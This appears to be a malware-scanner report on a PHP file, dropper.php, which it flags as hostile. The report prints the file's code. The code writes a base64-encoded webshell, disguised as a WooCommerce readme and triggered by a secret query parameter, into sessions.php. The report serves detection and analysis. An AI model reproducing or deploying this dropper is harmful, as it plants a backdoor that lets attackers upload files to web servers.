Hostile ^100% php-malware-analysis Download

dropper.php

Dropper writes webshell via base64

Calls PHP file_put_contents()HTML form declares the POST method

SHA-256926034e2fbffb5bbf065c983bb74020fed3db9a8b0c55860df066385a7c0af2b

Evidence

Encoded content decoded: base64 lines 1–2

1<?php
2$fileData = 'PT09IFdvb0NvbW1lcmNlID09PQ0KQ29udHJpYnV0b3JzOiBhdXRvbWF0dGljLCBtaWtlam9sbGV5LCBqYW1lc2tvc3RlciwgY2xhdWRpb3NhbmNoZXMsIGNsYXVkaXVsb2Rybywga2xvb24sIHJvZHJpZ29zcHJpbW8sIGpzaHJldmUsIGNvZGVya2V2aW4NClRhZ3M6IGVjb21tZXJjZSwgZS1jb21tZXJjZSwgc3RvcmUsIHNhbGVzLCBzZWxsLCBzaG9wLCBjYXJ0LCBjaGVja291dCwgZG93bmxvYWRhYmxlLCBkb3dubG9hZHMsIHBheXBhbCwgc3RvcmVmcm9udCwgd29vIGNvbW1lcmNlDQp3aGF0IHRpbWVzIHdvcmRwcmVzcw0KPD9waHAgaWYoJF9HRVRbImxvZ2luIl09PSJjYW5zaHUiKXtpZihAY29weSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkgeyBlY2hvICc8Yj5VcGxvYWQgQ29tcGxhdGUgISEhPC9iPjxicj4nOyB9IGVjaG8gJzx …

Calls PHP base64_decode() lines 2–4

2:771… mFsdWU9InN1Ym1pdCIvPjwvZm9ybT4nO30gPz4=';
3$fileName = 'sessions.php';
4file_put_contents($fileName, base64_decode($fileData));